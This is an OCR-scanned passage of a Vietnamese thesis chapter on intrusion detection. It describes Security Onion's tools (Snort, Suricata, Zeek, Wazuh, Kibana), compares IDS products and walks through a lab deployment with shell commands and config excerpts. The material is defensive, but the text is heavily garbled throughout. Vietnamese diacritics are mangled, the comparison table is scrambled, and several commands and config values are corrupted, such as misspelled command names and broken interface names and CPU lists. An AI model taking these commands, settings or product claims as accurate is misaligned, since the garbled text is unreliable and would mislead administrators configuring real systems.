Onion c6 thé dugc st dung lam Hé théng phat hién xam nhap (IDS) két hop NIDS va
HIDS. Nguai ding chi can thong qua cac bude cai dat mot he thong duy nhat, sau do
da c6 thé st dung tat ca cac cong cu duoc tich hop sin trong Security Onion.[10]

Security Onion 1a mét nén tang quan ly an ninh mang (NSM) cung cap nhiéu Hé
thng phat hién xam nhap (IDS) bao gém IDS may chu (HIDS) va IDS mang (NIDS).
Nhiéu loai dit liéu c6 thé dugc thu thap bang céch sir dung Security Onion dé phan
tich. Piéu nay bao gom dix liéu lién quan dén: May chii, Mang, Phién, Noi dung, Canh
b4o va Giao thirc. Security Onion ¢6 thé duoc trién khai nhu mot trién khai doc 1ap

vGi may chu va cam bién di kém hodc véi mot may cha chinh va nhiéu cam bién cho
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phép mé& rong hé théng theo yéu cau. Nhiéu giao dién va cong cu c6 sin dé quan ly
hé thong va phan tich dit liéu nhu Sguil, Snorby, Squert. Cac giao dién nay c6 thé
dugc sir dung dé phan tich cac canh bao va cac su kién dugc ghi lai va sau d6 c6 thé
dugc xuat thém dé phan tich trong Cong cu phan tich mang (NFAT) nhu
NetworkMiner, CapME hozc Xplico. Nén tang Security Onion ciing cung cap nhiéu
phuong phap quéan 1y khac nhau nhu Secure SHell (SSH) dé quan Iy may cha va cam
bién ciing nhu truy cap tir xa may tinh client. Tat ca nhiing diéu nay véi kha ning tim
kiém lai va tao thanh mot mau phan tich 1am cho Security Onion tré thanh mot lua
chon thay thé chi phi thap pht hop cho giai phap phat hién xam nhap mang.

Security Onion thudng duoc st dung dé theo ddi luu lwong truy cap tir phia trong
va ngoai hé thong nham phat hién cac xam nhap vao méi truong, thiét 1ap lénh va
kiém soat hodc co thé 12 xam nhap dir liéu. Security Onion c6 thé str dung nhat ky tir
cac may cha va may tram trong hé théng dé sau d6 ngudi quan tri ¢é thé tim kiém
trén tat ca cac mang va nhat ky luu trir cing mét lic.

2.3.2.2.  Thanh phan va chitc ning

Security Onion két hop lién mach ba chic niang chinh 1a:

- Chup toan b gai tin trong hé théng.

- Phéat hién mang va diém cudi trong hé thong.

- Cong cu phéan tich manh me.

Chup toan b goi tin — Full packet capture dugc thuc hién thong qua cong cu
Stenographer tich hop. Stenographer nam bat tat ca luu luong truy cap mang ma cam
bién Security Onion phat hién va luu trit nhiéu nhat c6 thé ma giai phap luu trir cia
Chup toan bd goi tin giéng nhu mot may quay video cho hé théng mang, nhung tét
hon vi khong nhitng c6 thé cung cip chi tiét cac goi tin dugc chuyén dén va di ma
con chinh xéc noi goi tin da di va nhiing gi trong do.

Phat hién mang va diém cudi - Network and endpoint detection 1a bugc phan tich
Iwu lwgng mang hoac hé théng may chu, dong thoi cung cap dit liéu nhat ky va canh
bao cho cac sy kién va hoat dong dugc phét hién. Security Onion cung cap nhiéu tiy

chon:
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Security Onion st dung thanh phan phat hién xam nhap host (HIDS) ap dung céc
phuong phap phat hién nhu kiém tra tinh toan ven cia hé thong tép lién quan, nhat
ky Logs va bo nhé dang dugc st dung. Con thanh phan phét hién xam nhap mang
(NIDS) cua Security Onion ap dung cac phuong phap nhu tiép can dya trén chix ky
dé phat hién xam nhap. Cac phuong phap hoc may (ML) thudng duoc su dung dé
phat hién bao gdm Thuat toan di truyén (GA), May vecto hd trg (SVM), Mang than
kinh nhan tao (ANN) va Cay quyét dinh (DT) trong s6 nhitng phuong phap khac. Cac
ky thuat hoc may sir dung cac phuong phéap va thuat toan so khép mau dé phat hién
cling vai cac tap dix liéu vé hanh vi hoic mau da biét dé huan luyén ching nham phét
hién hanh vi bat thuong.

- Phét hién xam nhap mang - NIDS theo quy tic, Security Onion sir dung Snort
va Suricata. CAc hé thdng dya trén quy tic xem xét luu luong mang dé tim dau vét va
s6 nhan dang khop voi luu luong doc hai, bat thuong hodc dang ngo. Diéu nay twong
tu giéng nhu chit ky chdng vi-rat cho mang, nhung siu hon va linh hoat hon.

- Siéu dir liéu giao thirc - Protocol metadata. Bé phat hién xam nhap mang theo
hudng phan tich, Security Onion cung cip Zeek. Zeek giam séat hoat dong mang va
ghi nhat ky moi két ndi, yéu cau DNS, dich vu mang va phan mém dugc phat hién,
ching chi SSL va hoat dong HTTP, FTP, IRC, SMTP, SSH, SSL va Syslog. Ngoai
ra, Zeek bao gdm céc bo phan tich cho nhiéu giao thic phd bién va theo mic dinh cé
kha ning kiém tra tong MD5 cho cac lan tai xudng tép HTTP. Ngoai hoat dong ghi
nhat ky va phan tich luu lwong, khung lam viéc cua Zeek cung cap mot cach rat dé
mé rong dé phan tich di liéu mang trong thoi gian thuc. Sy linh hoat cua Zeek khién
no tro thanh mot cong cu cuc ky manh mé trong Security Onion.

- Phéat hién xam nhap host — HIDS, d¢ phat hién diém cudi, Security Onion di tich
hop Wazuh/OSSEC, mot HIDS ma nguén mé mién phi cho Windows, Linux va Mac
OS X. Khi tich hop thém Wazuh/OSSEC vao cac diém cudi trén mang cua hé thong,
ngudi ding sé c¢6 dugc kha nang hién thi tir diém cubi dén diém thoat mang cua minh.
Wazuh/OSSEC thuc hién phan tich nhat ky, kiém tra tinh toan ven cua tép, giam sat

chinh sach, phét hién rootkit, canh bo thai gian thuc va phan héi tich cuc.
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Security Onion Solutions
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Hinh 2.6:Minh hoa so do Security Onion.

Céc cong cu phan tich - Analysis Tools dugc tich hop trong Security Onion dé
hiéu va phan tich mot lugng 16n dir lidu tir tinh nang chup toan bo gai tin, phat hién
xam nhap IDS, di liéu siéu giao thirc Zeek. Hién Security Onion da tich hgp chat ché

cac cong cu sau:
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- Security Onion Console (SOC) la thu dau tién nhin thiy khi nguoi dung dang
nhap vao Security Onion. N6 bao gdm mét giao dién canh bao cho phép ngudi ding
xem tat ca cac canh bao NIDS va HIDS cua minh. SOC ciing bao gdm mat giao dién
Hunt dé sin tim mdi de doa, cho phép truy van khdng chi cac canh bao NIDS / HIDS
ma con ca nhat ky Zeek va nhat ky hé thong. Ngoai ra, SOC ciing bao gdbm mat giao
dién dé truy xuat toan bo goi tin (PCAP).

- TheHive 1a giao dién quan ly tinh huéng. Khi ngudi dung dang lam viéc trong
Alerts, Hunt hoic Kibana, ho c6 thé tim thiy cac canh bao hoic nhat ky dé gui téi
TheHive va tao tinh huéng phan tich. Cac nha phan tich khac c6 thé cong tac voi
ngudi ding khi 1am viéc dé giai quyét tinh huéng do.

- Kibana duoc tao ra boi nhom Elastic, cho phép nguoi dung nhanh chéng phan
tich va xoay vong giira tit ca cac loai dir liéu khac nhau do Security Onion tao ra
thong qua mot quy chiéu duy nhat. Bidu nay khong chi bao gom cac canh bao NIDS
/ HIDS ma con ca nhat ky Zeek va nhat ky hé thng dugc thu thap thong qua nhat ky
hé thong hoic phuong tién truyén tai khac. Kibana cé thé xoay vong dé chup toan bo
goi tin théng qua Security Onion Console (SOC).

- CyberChef cho phép nguoi dung giai méd, giai nén va phan tich cac hién vat.

- Playbook la mot irng dung web cho phép nguoi dung tao Detection Playbook,
bao gém céc quy tic riéng lé. Céc quy tic nay hoan toan khép kin va md ta céc khia
canh khéac nhau xung quanh chién lugc phat hién cu thé.

T6m lai, Security Onion s hiru day du tinh nang bat goi tin, phat hién xam nhap
theo quy tac Suricata, phat hién xam nhap theo huéng su kién Zeek va phat hién xam
nhap dua trén may chit Wazuh, tat ca déu hoat dong hét khi thiét lap Security Onion.
Céc hé thong khac nhau nay véi cac yéu té phu thudc va phic tap khac nhau déu chay
lién mach véi nhau.

2.3.2.3.  Uu nhuoc diém cia Security Onion

a. Uu diém
- Security Onion 12 mot phan mém hoan toan mién phi sir dung nhan hé diéu hanh

m& ngudn mé Linux véi mot cong doéng hd tro 16n.
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- Security Onion tich hop mot loat céng cu bao mat linh hoat cao bao gdm céc
cdng cu quan ly cam bién, bo phan tich Iuu lwong va b do tim goi tin duoc cai dat
san va co thé dugc van hanh ma khdng can bat ky phan mém IDS / IPS bé sung nao.

- Security Onion duoc cap nhat thudng xuyén dé cai thién mic d6 bao mat.

b. Nhuoc diém

Ngoai nhimg wu diém trén Security Onion van con ton tai mot vai diém yéu sau:

- Security Onion chua hd tro Wi-Fi dé quan Iy mang.

- Quan tri vién can bo sung kién thirc dé tim hiéu cac céng cu khac nhau dé sir
dung hiéu qua ban phan phéi Security Onion.

- Khéng c6 sao luu tu dong cac tép cau hinh ngoai trir cac quy tic. Dé sao luu
dugc nguoi dung can sir dung phan mém cua bén thi ba.

2.4,

IDS 1a mot céng nghé bao mét duoc tao ra nham xac dinh va cd 1ap cac hanh vi

Phan tich so sanh cac hé thong phat hién xam nhap

xam nhap hé théng may tinh. Mdi hé théng IDS khac nhau s& c6 cach tiép can khac
nhau. Do d6 cac chuyén gia bao mat can lya chon IDS phi hop cho hé théng may
tinh cu thé ciia minh. Diéu nay kha phuc tap bai hién tai dang c6 vo sb cac giai phap
trén thi truong. Céc tiéu chi, dic tinh s& duoc lya chon, xac dinh dé so sanh va danh
gia cac cach giai phap khac nhau.

Bang 2 s& so sanh chuc niang cua cac giai phap hé thdng phat hién xam nhap
[12][13]:

Bang 2: So sanh cdc gidi phap hé thong phat hién xam nhdp.

Chire nang Snort Suricata | OSSEC ﬁglsag\évl\'/l erig/lar Sgcr:Jig:]y
Windows, | Window Window-
Windows, | Unix, s, Unix, s, Unix,
Nén tang h¢ | Unix, Linux, Linux, Linux, Linux,
thong Linux Mac-OS Mac-OS | Window-s | Mac-OS | Mac-OS
M4 hinh IDS | NIDS NIDS HIDS HIDS 11DS 11IDS
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L . SolarWi- IBM Security
Chirc nang Snort Suricata | OSSEC nds SEM | Qradar | Onion
Browser,
Kibana, Snorby,
Giao dién Snorby Grafana, OSSEC | SolarWind | IBM Xplico,
quan ly Packetbeat | Web Ul | s Security | Qradar Squil,
Event SIEM ELSA,
Manager Kibana
Kha niang
phan tich Khéng Khéng Cé Cé Cé Co
mang ma
hoa
Cac ky Cac ky
Ngiin chiin thuat vuot | thuat vuot Cac ky Céc ky
k§ thuét qua IDS qua IDS Cac ky thuat thuat
virot q1.1a nhu phan | nhu phan | thuét Cac ky vuot qua | vuot qua
klém soat manh, n0i | manh, ndé1 | vuot qua | thuat vuot | IDS rat IDS rat
ciia IDS. phién s& phién s& IDS kho | qua IDS kho co kho co
de dang de dang thuce hién | kho thuc thé thuc | thé thuc
hoat dong. | hoat dong. | hon hién hon hién. hién.
Nhan biét
mot cudc tin
cbng co Khoéng Khoéng Co Co Co Co
thanh cong
hay khong ?
COthEbL | o (hé b
vO hiéu N
: : hoa trong Yo higu A LR
Co6 thé bao | Co thé bao cube thn hda trong CF) thé , C‘o thé ,
Bio vé vé khéi vé khéi céflg oia cudc tan vira phat vira phat
chéng.lai cac C?C cude C:"lc cuge mot may cong cua hlf'm hlf':n
A A tan cong | tan cong .~ | mOtmay | dong dong
cudc tan . 1 £ 1 chu hoac AP hoinedn | thoi nedn
cong c6 chu °o chu‘ | chu‘ . | boi cac Chu h,o de | ol rean T8
dich dlgh va co dlgh vaco | s ian boi cac cl}an tan c}}an tan
thé chay & |théchayo | .7 | cudc tan cong sau | cong sau
ché d6 an. | ché do an. | %8 t cong tir khi phat | khi phat
choi dich chdidich | hién xdm | hién xam
vu cu vu cu thé. | nhdp trdi | nhap trai
the. phép. phép.
Kha nang
phat hién
cude tin Cé Cé Khong | Khong Co Co

cong mang
lom
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2.5. Két luan Chwong I1

Chuong nay da liét k& mot sé céng cu phét hién xam nhap tiéu biéu cua cac loai
mo hinh hé thdng phat hién xam nhap mang, host va hé théng phét hién xam nhap
tich hop. Qua d6 phan tich cong nghé, cac thanh phan va chirc ning caa mdi cong cu.
Cubi cung 1a so sanh wu, nhuoc diém cua cac cdng cu ciling nhu tirng md hinh hé

théng phéat hién xam nhap.
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CHUONG IIl. THU NGHIEM TRIEN KHAI GIAI PHAP
PHAT HIEN XAM NHAP TICH HQP SECURITY ONION
CHO MANG LAN

Churong 111 sé di sdu vao mét giai phap phat hién xam nhdp tich hop tiéu biéu l1a
Security Onion. Trong chwong mé ta cdc buéc trién khai thanh phan mét hé thong
Security Onion co ban va céc kich ban tan cong thi nghiém, tir dé danh gid két qua
dat duoc.

3.1. M® hinh trién khai
3.1.1. So db trién khai hé théng Security Onion cho bdo médt mang LAN

Attack

Xam nhap

Internet internet

1

| —— |
o, =
=] f
\
]
(3 |
J

o
=
[

Firewall

B
Lirp
xl

Y
Router _1

i
Switch _'_

TAP
(Sercurity?
: Onion B

| Logs  Logs ! e
Fiiia
;\ K
— [\

— ==\ .
Smart
Phone Tablet Laptop / . PC Server

Hinh 3.1:Minh hoa so do trién khai mot hé théng Security Onion co ban.
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So d6 trién khai Security Onion co ban gdm 3 thanh phan chinh:

- Hé théng mang bao gom Internet, firewall, router, switch: 14 noi Security Onion
lang nghe cac cudc tan cong tir cac cong cua bd chuyén mach.

- Hé thong Security Onion: 14 thanh phan chinh cua so d dugc dit sau 16p mang.

- Hé thdng may cha: gdm cac may chu hodc may ngudi dung trong hé théng mang.

3.1.2. Céc yéu cdu phdn cing va phan mém

3.1.2.1.  Yéu cau phan cing

Security Onion chi hd tro kién tric x86-64. Bé cai dat Security Onion yéu cau hé
thdng téi thiéu 1a CPU 4 Cores va RAM 8GB.

Trong trién khai doc lap, cac thanh phan may chi chinh va céc thanh phan cam
bién déu chay trén mot hé théng duy nhat.

Trong trién khai phan tan caa doanh nghiép, mét may chu chinh s& luu triv nhat
ky tir chinh n6 va céc nit chuyén tiép. May cha chinh danh cho doanh nghiép phai c6
t6i thiéu CPU 8 cores, RAM 16-128GB va du dung luong dia dé dap wng cc yéu cau
luu git.

- CPU: Puoc sir dung dé phan tich ct phap cac su kién dén, 1ap chi muc cac su
kién dén, tim kiém siéu dit liéu, nim bit PCAP, phan tich goi va chay céc thanh phan
giao dién ngudi dung. Cac thanh phin nhu Snort, Suricata va Zeek rat thAm dung
CPU. Khi ngudi ding theo ddi cang nhiéu luu lwgng thi cang can nhiéu 161 CPU. U'éc
tinh s& 14 200Mbps cho mai phién lam viéc Snort, Suricata hoic Zeek.

- RAM: Pugc sir dung cho Logstash, Elasticsearch, bo nhg dém 6 dia cho Lucene,
Snort / Suricata, Zeek, Sguil, v.v. Dung luong RAM kha dung s& anh huong truc tiép
dén toc do tim kiém va do tin cay, ciing nhu kha nang xt Iy va nim bat luu luong.
Viéc sir dung RAM phu thudc nhiéu vao mét sé bién sé:

- Céc dich vy dang kich hoat, s6 luong goi tin bj mat.

- Loai luu luong tin hiéu va truy cap thuc té dang theo ddi (vi du: Hé thdng hd tro
dén 1Gbps nhung chi str dung luu lugng 200Mbps)

Dung lugng RAM udc tinh nhu sau:

Bang 3: Dung lwong RAM yéu cau cho hé thong Security Onion.
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Quy md h¢ thong mang trién khai Security Onion Dung lwgng RAM
Nho (50Mbps tré xudng) 8GB tr¢ 1én
Trung binh (50Mbps - 500Mbps) 16GB - 128GB tr¢ 1én
Lén (500Mbps - 1000Mbps) 128GB - 256GB tro 1én

- O Pia: Puogc st dung dé luu trir siéu dir liéu. Dung lwong luu trit 16n hon cho
phép thoi gian luu giir 1au hon. Cac cam bién c6 kich hoat tinh nang chup toan bo goi
can rat nhiéu dung luong luu trir. Vi du: gia st hé thong dang theo ddi mot lién két
c6 tde do trung binh 50Mbps, day 1a mot s6 phép tinh nhanh: 50Mb/s = 6.25 MB/s =
375MB/phat = 22.500 MB/gid = 540.000 MB/ngay. Vi vay, ngudi dung s& can
khoang 540GB cho gia tri PCAPS trong mot ngay. Néu hé théng c6 dung luong dia

cang 16n, thi cang c6 nhidu PCAP dé thuc hién cac budc phan tich, danh gia.

3.1.2.2.  Yéu cau phan mém

Dé cai dat Security Onion, can tai xuéng file 1ISO Security Onion hoic tai xuéng
file 1ISO Ubuntu 16.x tiéu chuan roi thém PPA Security Onion va cac gdi thanh phan.
Thiét 1ap mic dinh chi md céng 22 trong tudng lira. Néu mudn két néi thanh phan
phan tich VMs, Wazuh/OSSEC hoic thiét bi nhat ky hé théng, nguoi dung cé thé
chay tién ich so-allow tao céc quy tic tuong lira dé cho phép cac thiét bi két néi.

3.2. Trién khai Security Onion cho mang LAN

Cic buwéc cai ddt hé thong Security Onion

Tai vé va boot hé diéu hanh. Qua trinh cai dit trudc hét phai tai tép tin .iso bao
gom Hé diéu hanh Ubuntu 16.04 kém goi cai dit Security Onion. Trong phan cai dat
nay tac gia xay dung mot hé théng phat hién xam nhap dua trén mé hinh hé thong
mang tai so do 3.1. Hé théng s& duogc cai dat mé phong trén may ao Oracle VM

VitualBox
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Hinh 3.2 Lua chon cai dat Security Onion.

3.2.1. Trién khai thanh phan phat hign xam nhdp mang — NIDS

Sau khi hoan thanh cai dat Security Onion thi hé théng da dwoc chay nhu IDS.
Security Onion c6 thé chay Snort hodc Suricata lam Hé théng phat hién xam nhap
mang (NIDS). Khi chay Setup va chon Evaluation Mode, hé théng tu dong mic dinh
chon Snort.

Trong Security Onion, hé thdng bién dich ca Snort va Suricata dé h trg PF-RING
cho hiéu suét cao hon. Suricata ciing hd tro AF-PACKET nhu mot giai phap thay thé.

Dé chuyén tir Snort sang Suricata ta thuc hién lan luot cac 1énh sau:

sudo so-sensor-stop
sudo sed -i 's|ENGINE=snort|ENGINE=suricata|g' /etc/nsm/securityonion.conf
sudo rule-update

sudo so-sensor-start
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[so@so-VirtualBox:~$ sudo So-sensor-start
IStarting: HIDS
* starting: ossec_agent (sguil) [ oK ]
IStarting: Zeek
removing old policies in /nsm/bro/spool/installed-scripts-do-not-touch/site ...
removing old policies in /nsm/bro/spool/installed-scripts-do-not-touch/auto ...
creating policy directories ...
installing site policies ...
generating standalone-layout.zeek ...
generating local-networks.zeek ...
generating zeekctl-config.zeek ...
generating zeekctl-config.sh ...
starting zeek ...
Starting: so-virtualbox-enp@s3
* starting: netsniff-ng (full packet data)
* starting: pcap_agent (sguil)
* starting: snort_agent (sguil)
* starting: suricata (alert data)
* starting: barnyard2 (spooler, unified2 format)

(o Lo Do T Lo |
o
=

e e e e

Hinh 3.3:Chuyén sir dung Snort sang Suricata.

bé chuyén tur Suricata sang Snort ta thuc hién lan luot cac 1énh sau:

sudo so-sensor-stop
sudo sed -i 's|ENGINE=suricata| ENGINE=snort|g' /etc/nsm/securityonion.conf
sudo rule-update

sudo so-sensor-start

so@so-VirtualBox:~$ sudo so-sensor-start
IStarting: HIDS
* starting: ossec_agent (sguil) [ OK ]
IStarting: Zeek
removing old policies in /nsm/bro/spool/installed-scripts-do-not-touch/site ...
removing old policies in /nsm/bro/spool/installed-scripts-do-not-touch/auto ...
creating policy directories ...
installing site policies ...
generating standalone-layout.zeek ...
generating local-networks.zeek ...
generating zeekctl-config.zeek ...
generating zeekctl-config.sh ...
starting zeek ...
IStarting: so-virtualbox-enp0s3
* starting: netsniff-ng (full packet data)
starting: pcap_agent (sguil)
starting: snort_agent-1 (sguil)
starting: snort-1 (alert data)
starting: barnyard2-1 (spooler, unified2 format)

o Lo Lo L Lo
o
=

et et e et

h * o+ * *

Hinh 3.4:Chuyén sir dung Snort sang Suricata.
Trong Security Onion, hé thong bién dich Snort vai PF-RING dé cho phép xoay
nhiéu phién ban dé xi ly nhiéu luu lugng hon. Bé ¢6 hiéu suat tot nhat, Snort nén
dugc ghim vao cac CPU cu thé bang cach thém mot dong vao tép

/etc/nsm/HOSTNAME-INTERFACE /sensor.conf nhu:
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IDS_LB_CPUS=1,3,5,7

SNORT_CONFIG="/etc/nsm/so-virtualbox-enp@s3/snort.conf"
SNORT_OPTIONS=""
BARNYARDZ_CONFIG="/etc/nsm/so-virtualbox-enp@s3i/barnyard2.conf"
BARNYARDZ_WALDO="/etc/nsm/so-virtualbox-enp@s3/barnyard?.waldo"
BARNYARDZ_OPTIONS=""
SANCP_CONFIG="/etc/nsm/so-virtualbox-enp@s3/sancp.conf”
SANCP_OPTIONS=""
PADS_AGENT_CONFIG="/etc/nsm/so-virtualbox-enp@s3/pads_agent.conf"
PADS_CONFIG="/etc/nsm/so-virtualbox-enp@s3/pads.conf”
PADS_OPTIONS=""

PCAP_OPTIONS="-c"

PCAP_SIZE=150MiB

PCAP_RING_SIZE=64MiB

IDS_LB_PROCS=1,3,5,71

Hinh 3.5:Cdu hinh sir dung CPU cho Snort.

Sau d6 khai dong lai thanh phan Snort bing cau Iénh:

sudo so-nids-start
hoac

sudo so-nids-restart

so@so-VirtualBox:~$ sudo so-nids-start
Starting: so-virtualbox-enp@s3

* starting: snort-1 (alert data) [ oK ]
so@so-VirtualBox:~$ sudo so-nids-restart
Restarting: so-virtualbox-enp0s3

* stopping: snort-1 (alert data) [

* starting: snort-1 (alert data) [ OK 1]

Hinh 3.6:Kiém tra thanh phan NIDS.

Cau hinh Snort c6 thé thay d6i qua /etc/nsm/HOSTNAME-INTERFACE/snort.conf
(trong 36 HOSTNAME 14 tén méy chii thyc té va INTERFACE 1a giao dién thu thap
do tim thyc té).

Hé thong tich hop Suricata dé hd trg ca PF-RING va AF-PACKET dé cho phép
tap hop nhiéu phuong thirc dé xr 1y nhiéu luu luong truy cap hon. Trong phién ban
hién tai thiét 1ap mic dinh 1a AF-PACKET.

Pé c6 hiéu suat tot nhét, cac quy trinh Suricata nén dugc ghim vao cac CPU cu
thé. C6 thé sir dung cai dit trong suricata.yaml. Ngudi ding cé thé dinh cau hinh
Suricata qua  /etc/nsm/HOSTNAME-INTERFACE/suricatayaml  (trong  d6
HOSTNAME la tén may chu thyc té va INTERFACE la giao dién kiém tra thuc té).
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Pé khic phuc su cb6 Suricata, cin kiém tra /var/log/nsm/HOSTNAME-
INTERFACE /suricata.log.
3.2.2. Trién khai thanh phan phat hign xam nhgp host — HIDS

Ngoai cac thanh phan phat hién xdm nhap mang, Security Onion ciing c6 thé thu
thap nhat ky tir cac diém cudi. Security Onion st dung Beat,0SSEC/ Wazuh va
Sysmon lam thanh phan phat hién xam nhap host (HIDS).

Beat

Hé thong str dung Elastic Beats dé tao diéu kién thuan loi cho viéc van chuyén
nhat ky diém cudi dén noi luu trix va phan tich 12 Security Onion’s Elastic Stack. Dé
cai dat Beat, can thuc hién cac budc theo tai liéu duoc cung cap theo Beat twong tng
vi Security Onion str dung tép mau cua riéng dé quan 1y cac trudng Beat.

Sau khi Iya chon tai vé Winlogbeat cho Client sir dung Windows, giai nén va copy
tai C:\ProgramFile\Winlogbeat. Chinh sira cau hinh output IP cua host trong file

winlogbeat.yml dé két ndi v6i hé thdng Security Onion.

[ winlogheat yml E3 I

162 @ -————————————————— Logstash Qutput ——————————————————————————————— #
notput.logstash:
hosts: ["192.168.56.100:5044"]

Hinh 3.7:Cdu hinh két néi logs (winlogbeat) host véi hé thong Security Onion.

Tiép tuc st dung lénh dé cai dat winlogbeat:

PS C:\ProgramFile\Elastic\winlogbeat> powershell.exe -ExecutionPolicy Bypass

"\install-service-winlogbeat.ps1”

Kiém tra chic chan winlogbeat di hoat dong chua tai muc Service.

" Services (Locz 7 Services (Local)
winlogbeat MName - Description Status Startup Type K
. £k Windows PushTelnstall Serv... Provides inf... Manual (Trig...
%fatl::hs:?::\reice &1 Windows Remote Manage...  Windows R...  Running  Automatic (D...
&k Windows Search Provides co.. Running  Automatic (D...
£k Windows Security Service Windows Se.. Running Manual
Ck Windows Time Maintains d... Manual (Trig...
&k Windows Update Enables the ozt -Running wrildanuah (Trigiz
£k Windows Update Medic Ser... | Enables rem.. Panuak

NinHTTP Web Proxy Auto-.. WinHTTP i.. Running Manual

Running  Automatic

Hinh 3.8:Kiém tra service host.
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DPé dam bao Beats dugc phép ndi chuyén vai Logstash trén hé théng Security

Onion, nguoi dung can chay so-allow va chon tly chon b cho Beat.

so@so-VirtualBox:~$ sudo so-allow
IThis program allows you to add a firewall rule to allow connections from a new IP address.

What kind of communication would you like to allow?

Analyst - ports 22/tcp, 443/tcp, and 7734/tcp
Logstash Beat - port 5044/tcp

apt-cacher-ng client - port 3142/tcp

Elasticsearch REST endpoint - port 9200

Logstash forwarder - standard - port 6050/tcp
Logstash forwarder - JSON - port 6051/tcp

Syslog device - port 514

Elasticsearch node-to-node communication - port 9300
0SSEC/Wazuh agent - port 1514

0SSEC/Wazuh registration service - port 1515/tcp
Security Onion sensor - 22/tcp, 4505/tcp, 4506/tcp, and 7736/tcp

'(n"1”0"EI'I—:LI:'—Q\"(D”O:'U'"Q)‘
000 0 A D A A

If you need to add any ports other than those listed above,
you can do so using the standard 'ufw' utility.

For more information, please see:
https://docs.securityonion.net/en/16.04/Firewall

Please enter your selection:

Hinh 3.9:Cdu hinh mé port tai hé thong Security Onion.
Sau khi chon tiy chon nay, tiép tuc cung cép dia chi IP cia may di cai dit Beat

va nhan ENTER dé xac nhan.

Please enter your selection:
b

Configuring firewall for Logstash - Beat...

Please enter the IP address (or CIDR range) you'd like to allow to connect to port(s): 5044
192.168.56.0/24

We're going to allow connections from 192.168.56.0/24 to port(s) 5044.

Here's the firewall rule we're about to add:
sudo iptables -I DOCKER-USER ! -i docker® -o docker® -s 192.168.56.0/24 -p tcp --dport 5044 -j ACCEPT

ITo continue and add this rule, press Enter.

Hinh 3.10:Cdu hinh cho phép dia chi host qudn Iy tai hé thong Security Onion.

Dir liéu Beats c6 thé dugc xem qua bang diéu khién Beats, (hoic thdng qua viéc
Iwa chon chi muc *:logstash-beat-* trong Discover) trong Kibana.

OSSEC/ Wazuh

Security Onion con sit dung thém OSSEC/Wazuh lam hé théng phat hién xam
nhap host (HIDS). Wazuh ty gidm sét va bao vé hé thong Security Onion va ngudi
ding c6 thé cau hinh thém trén dé giam sat cac may client trong hé thong.
Pé cau hinh trén cac may chu client can lua chon ding phién ban Wazuh cho hé diéu

hanh may client, vi du hinh duéi 1 thiét 1ap cho client Windows:
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* Wazuh D?ent Manager X

Manage WView Help
YWhazuh wd. 1.5
Agent: windaws? [003] - 192.168.56.112

Status: Running

Manager P: 192.168.56.106

Authentication key: |MD.ﬂ.ZIHdpbmHvdSMSIDEEMM:-

Save | Fefresh

https://wazuh.com Revision 40114

Hinh 3.11:Cdu hinh két néi agent Wazuh/OSSEC tai hé thong Security Onion.

Tép c4u hinh chinh cho Wazuh client 1a C:\Progarm File\ossec-agent

Tép c4u hinh chinh cho Wazuh tai Security Onion I var/ossec/etc/ossec.conf

D6i khi, Wazuh c6 thé nhan ra hoat dong hop phap tiém an nguy co doc hai va
chuyén dén danh sach den cac IP dang tin cdy dé chin két ndi. Piu nay co thé din
dén hiu qua khong mong mudn. Dé ngin didu nay x4y ra, c6 thé dua dia chi IP dang
tin cdy vao danh siach tring va thay d6i cac cai dat khac

trong /var/ossec/etc/ossec.conf:

<global>
<white_list>dia_chi_ip_agent</white_list>

</global>

Céc quy tdc moi va stra doi cac quy tac hién co trong/var/ossec/rules/local_rules.xml.

Can chay so-allow dé cho phép luu lugng truy cap tir dia chi IP cua client Wazuh.

Please enter your selection:
o

Configuring firewall for OSSEC/Wazuh agent...

Please enter the IP address (or CIDR range) you'd like to allow to connect to port(s): 1514
192.168.56.0/24

We're going to allow connections from 192.168.56.0/24 to port(s) 1514.

Here's the firewall rule we're about to add:
sudo ufw allow from 192.168.56.0/24 to any port 1514

To continue and add this rule, press Enter.

Hinh 3.12:Cdu hinh mé port 1514 cho OSSEC/Wazuh tai hé thong Security Onion.
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bPé tu dong hoa viéc trién khai cac tic nhan Wazuh, may chu Wazuh bao
gdm ossec-authd. Khi sir dung ossec-authd, hiy dam bao thém mot ngoai 1é tudng

lira dé céc tac nhén truy cdp vao cong 1515/tcp trén nut trinh quan 1y Wazuh:

sudo ufw allow proto tcp from agent_ip to any port 1515

Sysmon

System Monitor (Sysmon) 1a mot dich vu hé thong Windows theo ddi va ghi lai
hoat dong cua h¢ théng vao nhat ky su kién Windows. Sysmon la mdt cong cu cua
Sysinternals cung cap loai dit liéu bao gdm cac sy kién tao quy trinh, hoat dong dong
1énh, két ndi mang, thong tin Nhat ky sy kién Windows, v.v, Winlogbeat c6 thé léy
cac nhat ky ndy va giri chiing dén Security Onion.
Sau khi Iyra chon phién ban Sysmon, can tai xuéng va giai nén ca Sysmon va tép cu
hinh, sau d6 sao chép ca hai t¢p vao tép c6 dinh. Vi du luu tai:
C:\ProgramFiles\Sysmon.

Chay cau 1énh sau dé cai dat va dam bao Sysmon hoat dong tai muc Service:
PS C:\Program Files\Sysmon>.\sysmon64.exe -accepteula -i sysmonconfig-export.xml

Asysmonconfig-export.xml

Garnier

Daniel Veillard. All Rights Reserwved.

Hinh 3.13:Cai ddt Sysmon cho hé thong Security Onion.

3.2.3. Trién khai thanh phdn giao dién va qudn tri

Security Onion st dung Elastic Stack dé tong hop dir lidu tir cac thanh phan hé
thong sau d6 phan tich va hién thi truc quan dit liéu d6 theo thoi gian thyc. Elastic
Stack tich hop cho Security Onion bao gom cac ngan thanh phan la Elasticsearch,
Logstash va Kibana.
Cac thanh phﬁn giao dién va quan tri Elastic Stack dugc tich hop san sau khi cai
Security Onion (cdc buéc cai dat tai phu luc 1). Sau khi cai dat ta co thé kiém tra

hoat dong cua Elastic Stack bﬁng cau 1énh: so-elastic-status
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so@so-VirtualBox:~$ sudo so-elastic-status

Status: Elastic stack
* so-elasticsearch [ oK ]
* so-logstash [ OK ]
* so-kibana [ OK ]
* so-freqgserver [ oK ]
* so-domainstats [ oK ]
* so-curator [ OK ]
* so-elastalert [ oK ]

Hinh 3.14:Kiém tra thanh phan Elastic.

Tiép tuc kiém tra giao dién trén trinh duy¢t qua dia chi: localhost:5601 hoac

<dia_chi_IP_sniff>:5601

& Elastic e &
= d  Overview Fullscreen  Share Clone | ¢ Edit |
Bv * Lucene  [# v Last 24 hours Show dates | Update
® — + Add filter
Navigation Total Number of Logs Total Log Count Over Time
Home @ count
Help ¢
Squert H
2 4
S 116,928 %
y 2
Alert Data
Zeek Notices 2 2 S
ElastAlert @timestamp per 30 minutes
HIDS
